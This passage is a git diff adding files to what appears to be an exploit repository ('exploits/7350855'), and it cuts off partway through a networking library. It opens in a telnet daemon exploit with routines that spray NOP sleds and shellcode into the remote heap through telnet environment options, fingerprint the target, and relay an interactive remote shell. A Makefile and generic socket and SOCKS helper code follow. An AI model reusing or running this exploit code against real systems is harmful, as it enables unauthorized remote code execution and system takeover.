392 } else if (c != 'r') {
393 usleep(100000);
394 n = send (fd, buf, 112, 0);
395 ioctl (fd, FIONREAD, &iobc);
396 len = sizeof (val);
397 getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
398 printf ("%02d. send: %d local: %d/%d (%d left)\n",
399 ++p, n, iobc, val, val - iobc);
400 }
401 }
402}
403#endif
404
405
406/* xp_pop - populator function
407 *
408 * causes remote telnet daemon to setenv() variables with our content, populating
409 * the heap with shellcode. this will get us more nopspace and place our shellcode
410 * where the nice addresses are, that we can create by writing telnet option
411 * strings.
412 *
413 * XXX: there seems to be a maximum size for the environment value you can set,
414 * which is 510. we use 496 bytes for nopspace and shellcode therefore.
415 * should work, rather similar to tsig tcp/malloc exploitation. -sc
416 */
417
418void
419xp_pop (int fd)
420{
421 unsigned char var[16];
422 unsigned char storebuf[496];
423 sprintf (var, "%06x", walk);
424#ifdef DEBUG
425 memset (storebuf, '\xcc', sizeof (storebuf));
426#else
427/* memset (storebuf, '\x90', sizeof (storebuf)); */
428 x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
429 memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
430 shellcode, strlen (shellcode));
431#endif
432 storebuf[sizeof (storebuf) - 1] = '\0';
433
434 xp_setenv (fd, var, storebuf);
435}
436
437
438void
439xp_setenv (int fd, unsigned char *var, unsigned char *val)
440{
441 int n = 0;
442 unsigned char buf[2048];
443
444 buf[n++] = IAC;
445 buf[n++] = SB;
446 buf[n++] = TELOPT_NEW_ENVIRON;
447 buf[n++] = TELQUAL_IS;
448 buf[n++] = ENV_USERVAR;
449
450 /* should not contain < 0x04 */
451 while (*var) {
452 if (*var == IAC)
453 buf[n++] = *var;
454 buf[n++] = *var++;
455 }
456 buf[n++] = NEW_ENV_VALUE;
457 while (*val) {
458 if (*val == IAC)
459 buf[n++] = *val;
460 buf[n++] = *val++;
461 }
462 buf[n++] = IAC;
463 buf[n++] = SE;
464
465 if (send (fd, buf, n, 0) != n) {
466 perror ("xp_setenv:send");
467 exit (EXIT_FAILURE);
468 }
469}
470
471
472int
473xp_check (int fd)
474{
475 int n;
476 unsigned int expect_len = 15;
477 unsigned char expected[] =
478 "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
479 /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
480 unsigned int additional_len = 8;
481 unsigned char additional[] =
482 "\xff\xfa\x26\x01\x01\x02\xff\xf0";
483 /*IAC SB ENC ........... IAC SE */
484
485 unsigned char buf[128];
486
487 read (fd, buf, sizeof (buf));
488
489 n = 0;
490 buf[n++] = IAC; /* 0xff */
491 buf[n++] = AYT; /* 0xf6 */
492
493 buf[n++] = IAC; /* 0xff */
494 buf[n++] = WILL; /* 0xfb */
495 buf[n++] = TELOPT_NAOL; /* 0x08 */
496
497 buf[n++] = IAC; /* 0xff */
498 buf[n++] = WILL; /* 0xfb */
499 buf[n++] = TELOPT_ENCRYPT; /* 0x26 */
500
501#ifdef DEBUG
502 hexdump ("check send buffer", buf, n);
503#endif
504 if (send (fd, buf, n, 0) != n) {
505 perror ("xp_check:send");
506 exit (EXIT_FAILURE);
507 }
508
509 n = read (fd, buf, sizeof (buf));
510#ifdef DEBUG
511 hexdump ("check recv buffer", buf, n);
512#endif
513
514 if (memcmp (buf, expected, expect_len) == 0) {
515 if (memcmp (buf+expect_len, additional, additional_len) == 0) {
516 mode = 16;
517 } else {
518 mode = 34;
519 bs = bs34;
520 }
521 printf ("check: PASSED, using %dmb mode\n", mode);
522
523 return (1);
524 }
525
526 printf ("check: FAILED\n");
527
528 return (0);
529}
530
531
532void
533shell (int sock)
534{
535 int l;
536 char buf[512];
537 fd_set rfds;
538
539
540 while (1) {
541 FD_SET (0, &rfds);
542 FD_SET (sock, &rfds);
543
544 select (sock + 1, &rfds, NULL, NULL, NULL);
545 if (FD_ISSET (0, &rfds)) {
546 l = read (0, buf, sizeof (buf));
547 if (l <= 0) {
548 perror ("read user");
549 exit (EXIT_FAILURE);
550 }
551 write (sock, buf, l);
552 }
553
554 if (FD_ISSET (sock, &rfds)) {
555 l = read (sock, buf, sizeof (buf));
556 if (l <= 0) {
557 perror ("read remote");
558 exit (EXIT_FAILURE);
559 }
560 write (1, buf, l);
561 }
562 }
563}
564
565
566/* ripped from zodiac */
567void
568hexdump (char *desc, unsigned char *data, unsigned int amount)
569{
570 unsigned int dp, p; /* data pointer */
571 const char trans[] =
572 "................................ !\"#$%&'()*+,-./0123456789"
573 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
574 "nopqrstuvwxyz{|}~...................................."
575 "....................................................."
576 "........................................";
577
578
579 printf ("/* %s, %u bytes */\n", desc, amount);
580
581 for (dp = 1; dp <= amount; dp++) {
582 fprintf (stderr, "%02x ", data[dp-1]);
583 if ((dp % 8) == 0)
584 fprintf (stderr, " ");
585 if ((dp % 16) == 0) {
586 fprintf (stderr, "| ");
587 p = dp;
588 for (dp -= 16; dp < p; dp++)
589 fprintf (stderr, "%c", trans[data[dp]]);
590 fflush (stderr);
591 fprintf (stderr, "\n");
592 }
593 fflush (stderr);
594 }
595 if ((amount % 16) != 0) {
596 p = dp = 16 - (amount % 16);
597 for (dp = p; dp > 0; dp--) {
598 fprintf (stderr, " ");
599 if (((dp % 8) == 0) && (p != 8))
600 fprintf (stderr, " ");
601 fflush (stderr);
602 }
603 fprintf (stderr, " | ");
604 for (dp = (amount - (16 - p)); dp < amount; dp++)
605 fprintf (stderr, "%c", trans[data[dp]]);
606 fflush (stderr);
607 }
608 fprintf (stderr, "\n");
609
610 return;
611}
612
613
614
615unsigned long int
616net_resolve (char *host)
617{
618 long i;
619 struct hostent *he;
620
621 i = inet_addr(host);
622 if (i == -1) {
623 he = gethostbyname(host);
624 if (he == NULL) {
625 return (0);
626 } else {
627 return (*(unsigned long *) he->h_addr);
628 }
629 }
630 return (i);
631}
632
633
634int
635net_connect (struct sockaddr_in *cs, char *server,
636 unsigned short int port, int sec)
637{
638 int n,
639 len,
640 error,
641 flags;
642 int fd;
643 struct timeval tv;
644 fd_set rset, wset;
645 struct sockaddr_in csa;
646
647 if (cs == NULL)
648 cs = &csa;
649
650 /* first allocate a socket */
651 cs->sin_family = AF_INET;
652 cs->sin_port = htons (port);
653 fd = socket (cs->sin_family, SOCK_STREAM, 0);
654 if (fd == -1)
655 return (-1);
656
657 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
658 close (fd);
659 return (-1);
660 }
661
662 flags = fcntl (fd, F_GETFL, 0);
663 if (flags == -1) {
664 close (fd);
665 return (-1);
666 }
667 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
668 if (n == -1) {
669 close (fd);
670 return (-1);
671 }
672
673 error = 0;
674
675 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
676 if (n < 0) {
677 if (errno != EINPROGRESS) {
678 close (fd);
679 return (-1);
680 }
681 }
682 if (n == 0)
683 goto done;
684
685 FD_ZERO(&rset);
686 FD_ZERO(&wset);
687 FD_SET(fd, &rset);
688 FD_SET(fd, &wset);
689 tv.tv_sec = sec;
690 tv.tv_usec = 0;
691
692 n = select(fd + 1, &rset, &wset, NULL, &tv);
693 if (n == 0) {
694 close(fd);
695 errno = ETIMEDOUT;
696 return (-1);
697 }
698 if (n == -1)
699 return (-1);
700
701 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
702 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
703 len = sizeof(error);
704 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
705 errno = ETIMEDOUT;
706 return (-1);
707 }
708 if (error == 0) {
709 goto done;
710 } else {
711 errno = error;
712 return (-1);
713 }
714 }
715 } else
716 return (-1);
717
718done:
719 n = fcntl(fd, F_SETFL, flags);
720 if (n == -1)
721 return (-1);
722 return (fd);
723}
724
725
726/* imported from shellkit */
727
728unsigned long int
729random_get (unsigned long int low, unsigned long int high)
730{
731 unsigned long int val;
732
733 if (low > high) {
734 low ^= high;
735 high ^= low;
736 low ^= high;
737 }
738
739 val = (unsigned long int) random ();
740 val %= (high - low);
741 val += low;
742
743 return (val);
744}
745
746
747void
748random_init (void)
749{
750 srandom (time (NULL));
751}
752
753
754int
755bad (unsigned char u)
756{
757 if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
758 return (1);
759
760 return (0);
761}
762
763int
764badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
765{
766 int n;
767
768 for (code_len -= 1 ; code_len >= 0 ; --code_len) {
769 for (n = 0 ; n < bad_len ; ++n)
770 if (code[code_len] == bad[n])
771 return (1);
772 }
773
774 return (0);
775}
776
777unsigned long int
778x86_nop_rwreg (void)
779{
780 unsigned long int reg;
781
782 do {
783 reg = random_get (0, 7);
784 } while (reg == 4); /* 4 = $esp */
785
786 return (reg);
787}
788
789
790
791unsigned long int
792x86_nop_xfer (char *xferstr)
793{
794 int bw = 0; /* bitfield walker */
795 unsigned char tgt; /* resulting instruction */
796
797 /* in a valid xferstr we trust */
798 for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) {
799 switch (xferstr[0]) {
800 case ('0'):
801 BSET (tgt, 1, 0, bw);
802 break;
803 case ('1'):
804 BSET (tgt, 1, 1, bw);
805 break;
806 case ('r'):
807 BSET (tgt, 3, x86_nop_rwreg (), bw);
808 break;
809 case ('.'):
810 break; /* ignore */
811 default:
812 fprintf (stderr, "on steroids, huh?\n");
813 exit (EXIT_FAILURE);
814 break;
815 }
816 }
817
818 if (bw != 8) {
819 fprintf (stderr, "invalid bitwalker: bw = %d\n", bw);
820 exit (EXIT_FAILURE);
821 }
822
823 return (tgt);
824}
825
826
827unsigned int
828x86_nop (unsigned char *dest, unsigned int dest_len,
829 unsigned char *bad, int bad_len)
830{
831 int walk;
832 int bcount; /* bad counter */
833 char * xs;
834 char * xferstr[] = {
835 "0011.0111", /* aaa */
836 "0011.1111", /* aas */
837 "1001.1000", /* cbw */
838 "1001.1001", /* cdq */
839 "1111.1000", /* clc */
840 "1111.1100", /* cld */
841 "1111.0101", /* cmc */
842 "0010.0111", /* daa */
843 "0010.1111", /* das */
844 "0100.1r", /* dec <reg> */
845 "0100.0r", /* inc <reg> */
846 "1001.1111", /* lahf */
847 "1001.0000", /* nop */
848 "1111.1001", /* stc */
849 "1111.1101", /* std */
850 "1001.0r", /* xchg al, <reg> */
851 NULL,
852 };
853 unsigned char tgt;
854
855
856 for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) {
857 /* avoid endless loops on excessive badlisting */
858 for (bcount = 0 ; bcount < 16384 ; ++bcount) {
859 xs = xferstr[random_get (0, 15)];
860 tgt = x86_nop_xfer (xs);
861
862 dest[walk] = tgt;
863 if (badstr (&dest[walk], 1, bad, bad_len) == 0)
864 break;
865 }
866
867 /* should not happen */
868 if (bcount >= 16384) {
869 fprintf (stderr, "too much blacklisting, giving up...\n");
870 exit (EXIT_FAILURE);
871 }
872 }
873
874 return (walk);
875}
876
877
diff --git a/exploits/7350855/Makefile b/exploits/7350855/Makefile
new file mode 100644
index 0000000..dabeeba
--- /dev/null
+++ b/exploits/7350855/Makefile
@@ -0,0 +1,20 @@
1
2#DFLAGS=-O2
3DFLAGS=-g -ggdb `libnet-config --defines` -DDEBUG
4CC=gcc
5CFLAGS=$(DFLAGS) -Wall
6OBJS= common.o network.o sniff.o packet.o
7LIBS=-lnet -lpcap -lpthread
8
9
10all: 7350855 readtest
11
12clean:
13 rm -f *.o 7350855 readtest
14
15readtest: readtest.c network.o
16 $(CC) $(CFLAGS) -o readtest readtest.c network.o
17
187350855: $(OBJS) 7350855.c
19 $(CC) $(CFLAGS) -o 7350855 7350855.c $(OBJS) $(LIBS)
20
diff --git a/exploits/7350855/common.c b/exploits/7350855/common.c
new file mode 100644
index 0000000..9b28d61
--- /dev/null
+++ b/exploits/7350855/common.c
@@ -0,0 +1,318 @@
1
2#include <sys/time.h>
3#include <netinet/in.h>
4#include <time.h>
5#include <stdarg.h>
6#include <stdio.h>
7#include <string.h>
8#include <stdlib.h>
9#include "common.h"
10
11
12#ifdef DEBUG
13void
14debugp (char *filename, const char *str, ...)
15{
16 FILE *fp; /* temporary file pointer */
17 va_list vl;
18
19 fp = fopen (filename, "a");
20 if (fp == NULL)
21 return;
22
23 va_start (vl, str);
24 vfprintf (fp, str, vl);
25 va_end (vl);
26
27 fclose (fp);
28
29 return;
30}
31
32void
33hexdump (char *filename, unsigned char *data, unsigned int amount)
34{
35 FILE *fp; /* temporary file pointer */
36 unsigned int dp, p; /* data pointer */
37 const char trans[] =
38 "................................ !\"#$%&'()*+,-./0123456789"
39 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
40 "nopqrstuvwxyz{|}~...................................."
41 "....................................................."
42 "........................................";
43
44 fp = fopen (filename, "a");
45 if (fp == NULL)
46 return;
47
48 fprintf (fp, "\n-packet-\n");
49
50 for (dp = 1; dp <= amount; dp++) {
51 fprintf (fp, "%02x ", data[dp-1]);
52 if ((dp % 8) == 0)
53 fprintf (fp, " ");
54 if ((dp % 16) == 0) {
55 fprintf (fp, "| ");
56 p = dp;
57 for (dp -= 16; dp < p; dp++)
58 fprintf (fp, "%c", trans[data[dp]]);
59 fflush (fp);
60 fprintf (fp, "\n");
61 }
62 fflush (fp);
63 }
64 if ((amount % 16) != 0) {
65 p = dp = 16 - (amount % 16);
66 for (dp = p; dp > 0; dp--) {
67 fprintf (fp, " ");
68 if (((dp % 8) == 0) && (p != 8))
69 fprintf (fp, " ");
70 fflush (fp);
71 }
72 fprintf (fp, " | ");
73 for (dp = (amount - (16 - p)); dp < amount; dp++)
74 fprintf (fp, "%c", trans[data[dp]]);
75 fflush (fp);
76 }
77 fprintf (fp, "\n");
78
79 fclose (fp);
80 return;
81}
82
83#endif
84
85
86/* m_random
87 *
88 * return a random number between `lowmark' and `highmark'
89 */
90
91int
92m_random (int lowmark, int highmark)
93{
94 long int rnd;
95
96 /* flip/swap them in case user messed up
97 */
98 if (lowmark > highmark) {
99 lowmark ^= highmark;
100 highmark ^= lowmark;
101 lowmark ^= highmark;
102 }
103 rnd = lowmark;
104
105 rnd += (random () % (highmark - lowmark));
106
107 /* this is lame, i know :)
108 */
109 return (rnd);
110}
111
112
113/* set_tv
114 *
115 * initializes a struct timeval pointed to by `tv' to a second value of
116 * `seconds'
117 *
118 * return in any case
119 */
120
121void
122set_tv (struct timeval *tv, int seconds)
123{
124 tv->tv_sec = seconds;
125 tv->tv_usec = 0;
126
127 return;
128}
129
130
131/* xstrupper
132 *
133 * uppercase a string `str'
134 *
135 * return in any case
136 */
137
138void
139xstrupper (char *str)
140{
141 for (; *str != '\0'; ++str) {
142 if (*str >= 'a' && *str <= 'z') {
143 *str -= ('a' - 'A');
144 }
145 }
146
147 return;
148}
149
150
151/* concating snprintf
152 *
153 * determines the length of the string pointed to by `os', appending formatted
154 * string to a maximium length of `len'.
155 *
156 */
157
158void
159scnprintf (char *os, size_t len, const char *str, ...)
160{
161 va_list vl;
162 char *ostmp = os + strlen (os);
163
164 va_start (vl, str);
165 vsnprintf (ostmp, len - strlen (os) - 1, str, vl);
166 va_end (vl);
167
168 return;
169}
170
171
172unsigned long int
173tdiff (struct timeval *old, struct timeval *new)
174{
175 unsigned long int time1;
176
177 if (new->tv_sec >= old->tv_sec) {
178 time1 = new->tv_sec - old->tv_sec;
179 if ((new->tv_usec - 500000) >= old->tv_usec)
180 time1++;
181 } else {
182 time1 = old->tv_sec - new->tv_sec;
183 if ((old->tv_usec - 500000) >= new->tv_usec)
184 time1++;
185 }
186
187 return (time1);
188}
189
190
191/* ipv4_print
192 *
193 * padding = 0 -> don't padd
194 * padding = 1 -> padd with zeros
195 * padding = 2 -> padd with spaces
196 */
197
198char *
199ipv4_print (char *dest, struct in_addr in, int padding)
200{
201 unsigned char *ipp;
202
203 ipp = (unsigned char *) &in.s_addr;
204
205 strcpy (dest, "");
206
207 switch (padding) {
208 case (0):
209 sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
210 break;
211 case (1):
212 sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]);
213 break;
214 case (2):
215 sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]);
216 break;
217 default:
218 break;
219 }
220
221 return (dest);
222}
223
224
225void *
226xrealloc (void *m_ptr, size_t newsize)
227{
228 void *n_ptr;
229
230 n_ptr = realloc (m_ptr, newsize);
231 if (n_ptr == NULL) {
232 fprintf (stderr, "realloc failed\n");
233 exit (EXIT_FAILURE);
234 }
235
236 return (n_ptr);
237}
238
239
240char *
241xstrdup (char *str)
242{
243 char *b;
244
245 b = strdup (str);
246 if (b == NULL) {
247 fprintf (stderr, "strdup failed\n");
248 exit (EXIT_FAILURE);
249 }
250
251 return (b);
252}
253
254
255void *
256xcalloc (int factor, size_t size)
257{
258 void *bla;
259
260 bla = calloc (factor, size);
261
262 if (bla == NULL) {
263 fprintf (stderr, "no memory left\n");
264 exit (EXIT_FAILURE);
265 }
266
267 return (bla);
268}
269
270
271/* source by dk
272 */
273
274char *
275allocncat (char **to, char *from, size_t len)
276{
277 int rlen = strlen (from);
278 int null = *to == NULL;
279
280 len = rlen < len ? rlen : len;
281 *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1);
282 if (null)
283 **to = '\0';
284
285 if (*to == NULL)
286 perror ("no memory: ");
287
288 return (strncat (*to, from, len));
289}
290
291
292char *
293alloccat (char **to, char *from)
294{
295 return (allocncat (to, from, strlen (from)));
296}
297
298
299char *
300ip_get_random (void)
301{
302 char *ip = xcalloc (1, 17);
303 int i[4];
304
305 for (;;) {
306 i[0] = m_random (1, 239);
307 if (i[0] != 10 && i[0] != 127 && i[0] != 192)
308 break;
309 }
310 i[1] = m_random (1, 254);
311 i[2] = m_random (1, 254);
312 i[3] = m_random (1, 254);
313
314 sprintf (ip, "%d.%d.%d.%d", i[0], i[1], i[2], i[3]);
315
316 return (ip);
317}
318
diff --git a/exploits/7350855/common.h b/exploits/7350855/common.h
new file mode 100644
index 0000000..dc7b666
--- /dev/null
+++ b/exploits/7350855/common.h
@@ -0,0 +1,26 @@
1
2#ifndef Z_COMMON_H
3#define Z_COMMON_H
4
5#include <sys/time.h>
6#include <netinet/in.h>
7
8#ifdef DEBUG
9void debugp (char *filename, const char *str, ...);
10void hexdump (char *filename, unsigned char *data, unsigned int amount);
11#endif
12int m_random (int lowmark, int highmark);
13void set_tv (struct timeval *tv, int seconds);
14void xstrupper (char *str);
15void scnprintf (char *os, size_t len, const char *str, ...);
16unsigned long int tdiff (struct timeval *old, struct timeval *new);
17char *ipv4_print (char *dest, struct in_addr in, int padding);
18void *xrealloc (void *m_ptr, size_t newsize);
19char *xstrdup (char *str);
20void *xcalloc (int factor, size_t size);
21char *allocncat (char **to, char *from, size_t len);
22char *alloccat (char **to, char *from);
23char *ip_get_random (void);
24
25#endif
26
diff --git a/exploits/7350855/common.o b/exploits/7350855/common.o
new file mode 100644
index 0000000..794b48b
--- /dev/null
+++ b/exploits/7350855/common.o
Binary files differ
diff --git a/exploits/7350855/network.c b/exploits/7350855/network.c
new file mode 100644
index 0000000..71d4a21
--- /dev/null
+++ b/exploits/7350855/network.c
@@ -0,0 +1,918 @@
1
2/* scut's leet network library ;)
3 * 1999 (c) scut
4 *
5 * networking routines
6 * based on my hbot networking sources,
7 * revised, extended and adapted 990405
8 * extended, improved and fixed 990430
9 *
10 * nearly all of this code wouldn't have been possible without w. richard stevens
11 * excellent network coding book. if you are interested in network coding,
12 * there is no way around it.
13 */
14
15#include <sys/types.h>
16#include <sys/ioctl.h>
17#include <sys/socket.h>
18#include <sys/time.h>
19#include <netinet/in.h>
20#include <arpa/inet.h>
21#include <netdb.h>
22#include <net/if.h>
23#include <errno.h>
24#include <fcntl.h>
25#include <stdarg.h>
26#include <stdio.h>
27#include <stdlib.h>
28#include <string.h>
29#include <unistd.h>
30#include "network.h"
31
32int net_readtimeout = NET_READTIMEOUT;
33int net_conntimeout = NET_CONNTIMEOUT;
34int net_identtimeout = NET_IDENTTIMEOUT;
35
36
37int
38net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec)
39{
40 int s5s;
41 struct sockaddr_in cs;
42
43 s5s = net_connect (&cs, socks, sport, NULL, 0, sec);
44 if (s5s == -1)
45 return (-1);
46
47 if (net_socks_put_s5info (s5s, server, port, sec) == -1) {
48 close (s5s);
49 return (-1);
50 }
51 return (s5s);
52}
53
54
55int
56net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec)
57{
58 int n;
59 char buff[1024];
60
61 /* v5 + noauth */
62 net_write (s5s, "\x05\x01%c", 0);
63 if (net_rtimeout (s5s, sec) == -1)
64 return (-1);
65 recv (s5s, buff, sizeof (buff), 0);
66
67 /* chain us =) */
68 net_write (s5s, "\x05\x01%c\x03%c%s%c%c", 0, strlen (server), server, (port >> 8) & 0xff, port & 0xff);
69 if (net_rtimeout (s5s, sec) == -1)
70 return (-1);
71 n = recv (s5s, buff, sizeof (buff), 0);
72 if (buff[1] != 0x00) {
73 return (-1);
74 }
75 return (1);
76}
77
78
79int
80net_parseip (char *inp, char **ip, unsigned short int *port)
81{
82 int n;
83
84 if (inp == NULL)
85 return (0);
86 if (strchr (inp, ':') == NULL)
87 return (0);
88
89 *ip = calloc (1, 256);
90 if (*ip == NULL)
91 return (0);
92
93 n = sscanf (inp, "%[^:]:%hu", *ip, port);
94 if (n != 2)
95 return (0);
96
97 *ip = realloc (*ip, strlen (*ip) + 1);
98 if (*ip == NULL || (*port < 1 || *port > 65535))
99 return (0);
100
101 return (1);
102}
103
104
105char *
106net_getlocalip (void)
107{
108 struct sockaddr_in pf;
109 char name[255];
110
111 memset (name, '\0', sizeof (name));
112
113 if (gethostname (name, sizeof (name) - 1) == -1) {
114 return (NULL);
115 }
116
117 pf.sin_addr.s_addr = net_resolve (name);
118
119 return (strdup (inet_ntoa (pf.sin_addr)));;
120}
121
122
123char *
124net_peeraddress (int socket)
125{
126 char * hip;
127 struct sockaddr_in peeraddr;
128 size_t size = sizeof (struct sockaddr_in);
129
130 if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1)
131 return (NULL);
132
133 net_printipa (&peeraddr.sin_addr, &hip);
134
135 return (hip);
136}
137
138
139int
140net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt,
141 struct in_addr *dst_ip, unsigned short int *dst_prt)
142{
143 size_t size = sizeof (struct sockaddr_in);
144 struct sockaddr_in addr;
145
146
147 if (getsockname (socket, (struct sockaddr *) &addr, &size) == -1)
148 return (1);
149
150 src_ip->s_addr = addr.sin_addr.s_addr;
151 *src_prt = ntohs (addr.sin_port);
152
153 if (getpeername (socket, (struct sockaddr *) &addr, &size) == -1)
154 return (1);
155
156 dst_ip->s_addr = addr.sin_addr.s_addr;
157 *dst_prt = ntohs (addr.sin_port);
158
159 return (0);
160}
161
162
163char *
164net_peername (int socket)
165{
166 struct sockaddr_in peeraddr;
167 struct hostent he, *hep;
168 size_t size = sizeof (struct sockaddr_in);
169 int n, h_errno;
170 unsigned char h_buf[8192];
171
172 if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1)
173 return (NULL);
174
175 /* digital unix / hp-ux freaks mod here =)
176 */
177 n = gethostbyaddr_r ((char *) &peeraddr.sin_addr, sizeof (struct in_addr),
178 AF_INET, &he, h_buf, sizeof (h_buf), &hep, &h_errno);
179
180 if (hep == NULL) {
181 char *ip_str = NULL;
182
183 net_printipa (&peeraddr.sin_addr, &ip_str);
184 return (ip_str);
185 }
186
187 return (strdup (he.h_name));
188}
189
190
191FILE *
192net_descriptify (int socket)
193{
194 FILE *fp;
195
196 fp = fdopen (socket, "r+");
197 return ((fp == NULL) ? (NULL) : (fp));
198}
199
200
201/* loosely based on rfc931.c */
202
203int
204net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport,
205 struct sockaddr_in *remotes, unsigned short int remoteport)
206{
207 int is; /* ident socket */
208 struct sockaddr_in isa;
209 int n;
210 char identreply[512], *cp;
211 unsigned int rmt_port, our_port;
212
213
214 *ident = NULL;
215
216 is = net_connect (&isa, inet_ntoa (remotes->sin_addr), 113, NULL, 0, net_identtimeout);
217 if (is == -1)
218 return (-1);
219
220 /* ident request */
221 net_write (is, "%u,%u\r\n", remoteport, localport);
222 memset (identreply, '\0', sizeof (identreply));
223
224 n = net_rlinet (is, identreply, sizeof(identreply) -1, net_identtimeout);
225 if (n == -1) {
226 close (is);
227 return (-1);
228 }
229 close (is);
230
231 *ident = calloc (1, 256);
232#ifdef DEBUG
233 printf("%s\n", identreply);
234#endif
235 n = sscanf (identreply, "%u , %u : USERID :%*[^:]:%255s", &rmt_port, &our_port, *ident);
236 if (n != 3) {
237 free (*ident);
238 *ident = NULL;
239 return (-1);
240 }
241
242 /* check the ports 'man */
243 if ((rmt_port != remoteport) || (our_port != localport)) {
244 free (*ident);
245 *ident = NULL;
246 return (-1);
247 }
248
249 /* strip character and save some memory */
250 if ((cp = strchr (*ident, '\r')))
251 *cp = '\0';
252 n = strlen (*ident);
253 *ident = realloc (*ident, n + 1);
254 (*ident)[n] = '\0';
255
256#ifdef DEBUG
257 printf("ident-return: %s\n", *ident);
258#endif
259 return (1);
260}
261
262
263int
264net_accept (int s, struct sockaddr_in *cs, int maxsec)
265{
266 int flags, n;
267 fd_set ac_s;
268 int len;
269 struct timeval tval;
270 struct sockaddr_in csa;
271
272 if (cs == NULL)
273 cs = &csa;
274
275 flags = fcntl(s, F_GETFL, 0);
276 if (flags == -1)
277 return (-1);
278 n = fcntl(s, F_SETFL, flags | O_NONBLOCK);
279 if (n == -1)
280 return (-1);
281
282 FD_ZERO(&ac_s);
283 FD_SET(s, &ac_s);
284 tval.tv_sec = maxsec;
285 tval.tv_usec = 0;
286
287 n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL);
288 if (n == 0)
289 return (0);
290
291 if (FD_ISSET(s, &ac_s)) {
292 len = sizeof(struct sockaddr_in);
293 n = accept(s, (struct sockaddr *) cs, &len);
294 if (n == -1) {
295 switch (errno) {
296 case EWOULDBLOCK:
297 case ECONNABORTED:
298 case EPROTO:
299 case EINTR: if (fcntl(s, F_SETFL, flags) == -1)
300 return (-1);
301 return (0);
302 default: return (-1);
303 }
304 }
305 if (fcntl(s, F_SETFL, flags) == -1)
306 return (-1);
307 return (n);
308 }
309 if (fcntl(s, F_SETFL, flags) == -1)
310 return (-1);
311 return (0);
312}
313
314
315int
316net_testvip (char *ip)
317{
318 struct ifi_info *ifi, *ifc;
319 struct in_addr ip_n;
320
321 if (ip == NULL)
322 return (1);
323 if (strcmp(ip, "*") == 0)
324 return (1);
325
326 ip_n.s_addr = net_resolve(ip);
327 if (!(ip_n.s_addr))
328 return (0);
329
330 ifi = net_ifi_get (AF_INET, 1);
331 if (ifi == NULL)
332 return (0);
333 for (ifc = ifi; ifc != NULL; ifc = ifc->ifi_next) {
334 if (memcmp (&ip_n.s_addr, &ifc->ifi_saddr.s_addr, sizeof (struct in_addr)) == 0) {
335 net_ifi_free(ifi);
336 return (1);
337 }
338 }
339 net_ifi_free(ifi);
340 return (0);
341}
342
343
344void
345net_ifi_free (struct ifi_info *tf)
346{
347 struct ifi_info *ifi, *ifil;
348
349 ifil = NULL;
350 for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) {
351 if (ifil)
352 free (ifil);
353 if (ifi->ifi_addr)
354 free (ifi->ifi_addr);
355 ifil = ifi;
356 }
357 if (ifil)
358 free (ifil);
359 return;
360}
361
362
363struct ifi_info *
364net_ifi_get (int family, int doaliases)
365{
366 struct ifi_info *ifi, *ifihead, **ifipnext;
367 int sockfd, len, lastlen, flags, myflags;
368 char *ptr, *buf, lastname[IFNAMSIZ], *cptr;
369 struct ifconf ifc;
370 struct ifreq *ifr, ifrcopy;
371 struct sockaddr_in *sinptr;
372
373 sockfd = socket(AF_INET, SOCK_DGRAM, 0);
374 if (sockfd == -1)
375 return (NULL);
376
377 lastlen = 0;
378 len = 100 * sizeof(struct ifreq);
379 for (;;) {
380 buf = malloc(len);
381 if (buf == NULL)
382 return (NULL);
383 ifc.ifc_len = len;
384 ifc.ifc_buf = buf;
385 if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) {
386 if (errno != EINVAL || lastlen != 0)
387 return (NULL);
388 } else {
389 if (ifc.ifc_len == lastlen)
390 break;
391 lastlen = ifc.ifc_len;
392 }
393 len += 10 * sizeof(struct ifreq);
394 free (buf);
395 }
396 ifihead = NULL;
397 ifipnext = &ifihead;
398 lastname[0] = 0;
399
400 for (ptr = buf; ptr < buf + ifc.ifc_len;) {
401 ifr = (struct ifreq *) ptr;
402 if (ifr->ifr_addr.sa_family == AF_INET)
403 len = sizeof(struct sockaddr);
404 ptr += sizeof(ifr->ifr_name) + len;
405
406 if (ifr->ifr_addr.sa_family != family)
407 continue;
408 myflags = 0;
409 if ((cptr = strchr(ifr->ifr_name, ':')) != NULL)
410 *cptr = 0;
411 if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) {
412 if (doaliases == 0)
413 continue;
414 myflags = IFI_ALIAS;
415 }
416 memcpy(lastname, ifr->ifr_name, IFNAMSIZ);
417
418 ifrcopy = *ifr;
419 if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0)
420 return (NULL);
